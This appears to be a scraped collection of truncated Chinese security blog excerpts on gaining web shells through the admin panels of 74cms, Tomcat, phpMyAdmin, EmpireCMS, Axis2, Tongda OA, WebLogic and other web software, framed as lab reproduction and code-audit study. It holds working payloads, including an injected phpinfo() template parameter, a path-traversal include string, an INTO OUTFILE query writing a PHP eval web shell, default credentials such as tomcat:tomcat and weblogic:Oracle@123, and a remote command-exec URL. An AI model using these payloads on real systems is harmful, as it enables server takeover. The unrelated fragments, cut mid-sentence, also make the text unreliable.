0x00 影响范围 v4.2.1-v4.2.129 0x01 环境搭建 1. 先去官网下载 骑士人才系统基础版(安装包) 2.将下载好的包进行安装 0x02 复现过程 当前版本v4.2.111 点加工具,点击风格模板 Payload: http://127.0.0.1/74cms/index.php?m=admin&c=tpl&a=set&tpl_dir=','a',phpinfo(),' shell地址: http://127.0.0.1/74cms/Application/Ho

Tomcat7+ 弱口令 && 后台getshell漏洞 Tomcat版本:8.0 环境说明 Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下.其中,欲访问后台,需要对应用户有相应权限. Tomcat7+权限分为: manager(后台管理) manager-gui 拥有html页面权限 manager-status 拥有查看status的权限 manager-script 拥有text接口的权限,和status权限 manager-jmx 拥有jmx权限

phpmyadmin4.8.1后台getshell 包含文件进行getshell 姿势: ① 建立数据库的,新建表,字段名为一句话木马. 会生成对应的数据库文件,相应文件的路径查看 select @@datadir; 这个样子就会在/var/lib/mysql/hack/hack.frm的文件里包含着一句话木马的字段. ?target=db_sql.php%253f/../../../../../../var/lib/mysql/data/hack/hack.frm 权限不够, 不过这个再lin

帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086) 一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行.EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件. 二.影响版本 EmpireCMS<=7.5 三.环境搭建 1.官方下载EmpireCMS V7.5 下载地址:

phpmyadmin后台Getshell 获取 web 绝对路径 select @@basedir; 检测是否有写入权限 show global variables like 'secure%' ##查看secure_file_priv值,结果若为NULL,则不能使用loadfile,into outfile进行读写文件 写入webshell secure_file_priv为空 select '<?php @eval_r($_POST[cmd])?>'INTO OUTFILE 'D:\\so

起因 正在学习代码审计 看到有人提交了一个注入https://www.cnvd.org.cn/flaw/show/CNVD-2019-42775 想试试看还有没有别的漏洞 受影响版本 v1.6.3 - 2019-11-24 更新 后台GETSHELL 后台地址 url/admin.php 系统设置 - 基本设置 - 高级设置 允许长传文件类型:添加PHP 然后在前台头像长传处可以getshell http://localhost/User/index.html 源码分析 修改设置后会再cache

原文地址:https://mp.weixin.qq.com/s/HZcS2HdUtqz10jUEN57aog 早上看到群里在讨论一个新姿势,phpmyadmin后台getshell,不同于以往需要知道网站的绝对路径,这个漏洞只要数据库和网站源码在同一个盘符下即可直接getshell. 漏洞详情请看原文地址,这里只进行复现. 打开自己的phpstudy,发现自己下载的是4.0.10.20版本的,先查看phpmyadmin目录下的index.php文件,发现代码如下: 这里是基于白名单的机制,tar

Tomcat环境搭建 windows系统xampp搭建tomcat linux yum搭建tomcat 修改tomcat目录下的conf/tomcat-users.xml文件开启管理后台口令认证 <role rolename="manager-gui"/> <user username="admin" password="1234" roles="manager-gui"/> Tomcat口令暴力猜解-

朋友实战中遇到的,帮忙看后台getshell. 修改日志文件,但是奈何找不到warning这类等级的错误,没办法控制写入的内容,通过sql报错能写入了,但是尖括号却会被实体,使用16进制一样会实体... 文件上传好像说也是上传到文件服务器的. 而且实战和我拿到的这套源码不一样,虽然版本都是显示的:1.5.6.4,但是实战的站应该是处于二次开发的. 本地利用成功的地方: 1.后台--system--backup/restore:用于数据库的备份和还原,所以我们操作数据库了. 2.还原两个文件: 第

0x00 环境介绍 CMS名称: covercms 运行环境: php 5.6.27-nts + apache + mysql 系统版本: 1.16 漏洞等级:高危 漏洞简介: 后台awnotas.inc.php文件,在包含文件时候未过滤变量直接包含,可利用变量覆盖的方式达到任意文件包含以getshell. 0x01 漏洞详情 文件位置:  /admina/awnotas.inc.php ,位置21行,代码缩减了一部分便于我们分析 $chids = array(); foreach($chann

0x00 前言 在早些年刚接触web安全的时候,基础套路都是找注入--找后台--找上传点--找数据库备份--Getshell,然而在代码审计的角度,也存在类似的基本操作. 这里结合代码实例介绍白盒Getshell的两种常规姿势:写入配置文件Getshell.模块安装Getshell. 0x01 环境搭建 Doccms官网:http://www.doccms.com程序源码:DocCms2016下载地址:https://pan.baidu.com/s/1pLclifL 0x02 写入配置文件Get

0x01.前言 最近在学代码审计,拿finecms学习的时候偶然发现的,应该算个1day吧 0x02.正文 FineCMS v5.4.1 后台域名配置处 域名配置文件config/domain.php,源码如下 后台对域名配置的输入未做过滤,可直接写一句话进入domain.php文件中 这里先以正常域名保存,抓包(含有特殊符号的非正常域名保存不了,发不了http请求) 然后将domain数据改为如下,//注释掉后面的语句 服务器那边可看到域名配置文件domain.php已被写入一句话 接下来可以

实战遇到的情况---任意文件读取,读取/conf/axis2.xml内容,读取用户名和密码登录后台 当然弱口令也是屡试不爽的. 操作起来 1.上传cat.aar(链接:https://pan.baidu.com/s/1bKI4yBvw_2hIOjLRe4g2Lg  密码:ygsn) 命令执行 http://xx.xx.xx.xx/axis2/services/Cat/exec?cmd=whoami 2.获取classpath路径 http://xx.xx.xx.xx/axis2/services

思路来自于 http://www.cnbraid.com/2016/09/18/phpcms/ 这里自己复现了一下,自己写了一下 因为是后台的,还得登陆两次..所以不好用,主要是学习学习 漏洞来自于ROOTDIR/phpsso_server/phpcms/modules/admin/system.php public function uc() { if (isset($_POST['dosubmit'])) { $data = isset($_POST['data']) ? $_POST['d

利用docker环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞. 分别通过这两种漏洞,模拟对weblogic场景的渗透. Weblogic版本:10.3.6(11g) Java版本:1.6 弱口令 环境启动后,访问 http://192.168.0.132:7001/console 即可跳转到Weblogic后台登陆页面: 本环境存在弱口令: 用户名:weblogic 密码:Oracle@123 weblogic常用弱口令: http://cirt.

都知道,mvc的话 除了根目录还有public目录可以访问,其他的访问都是不行的,因为会默认都是会解析url 然后我们来看今天的猪脚 大概的图片上传还有远程文件加载我黑盒测过了  就是想捞一个快一点的漏洞 让我注意到的一个地方 模板风格  也就是意味着我们可以对模板进行修改,我们试试 很可以 都是php文件 但是呢 这些文件都在 3 是在视图文件下  我们是无法访问的 那么 我们有什么办法呢 没错  路径可控 来看看代码吧 public function edit(){ $data=$this-

qcms是一款比较小众的cms,最近更新应该是17年,代码框架都比较简单,但问题不少倒是... 网站介绍 QCMS是一款小型的网站管理系统.拥有多种结构类型,包括:ASP+ACCESS.ASP+SQL.PHP+MYSQL 采用国际标准编码(UTF-8)和中文标准编码(GB2312)功能齐全,包括文章管理,产品展示,销售,下载,网上社区,博客,自助表单,在线留言,网上投票,在线招聘,网上广告等多种插件功能 程序和网页代码分离 支持生成Google.Baidu的网站地图 建站 说实话,官网写的是4.

GIF演示图 https://github.com/jas502n/OA-tongda-RCE/blob/master/Auth-Getshell.gif 1.通过弱口令或其它手段进入后台 2.选择  系统管理-附件管理-添加存储目录,(一般默认网站安装目录为 D:/MYOA/webroot/ 最后也有路径获取的地方,如果不设置会不在网站根目录下,无法直接访问附件) 3.选择 组织-管理员-附件上传-txt,抓包修改 4.抓包修改,绕过黑名单 txt修改为 php.   (注:一定要有点,才能绕

 https://www.cnblogs.com/bmjoker/p/9822886.html利用docker环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞.分别通过这两种漏洞,模拟对weblogic场景的渗透.Weblogic版本:10.3.6(11g)Java版本:1.6 弱口令环境启动后,访问 http://192.168.0.132:7001/console 即可跳转到Weblogic后台登陆页面:本环境存在弱口令:用户名:weblogic密

打开tomcat管理页面http://192.168.49.2:8080/manager/html,输入弱密码tomcat:tomcat,即可访问后台 先将jsp大马压缩为zip,再将zip后缀改名为war,然后上传war包 冰蝎链接

免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责. 0x00 背景知识 war文件 0x01 漏洞介绍 影响范围:Tomcat 8.0版本 漏洞类型:弱口令 漏洞成因:在tomcat8环境下,默认的后台密码为tomcat:tomcat,未修改默认密码就会造成未经授权的后台访问. 0x02 漏洞复现 环境搭建: Vulhub靶场 漏洞利用 访问靶机的tomcat管理页面http://your-ip:8080/manager/html,输入弱密码tomcat:tomcat,访问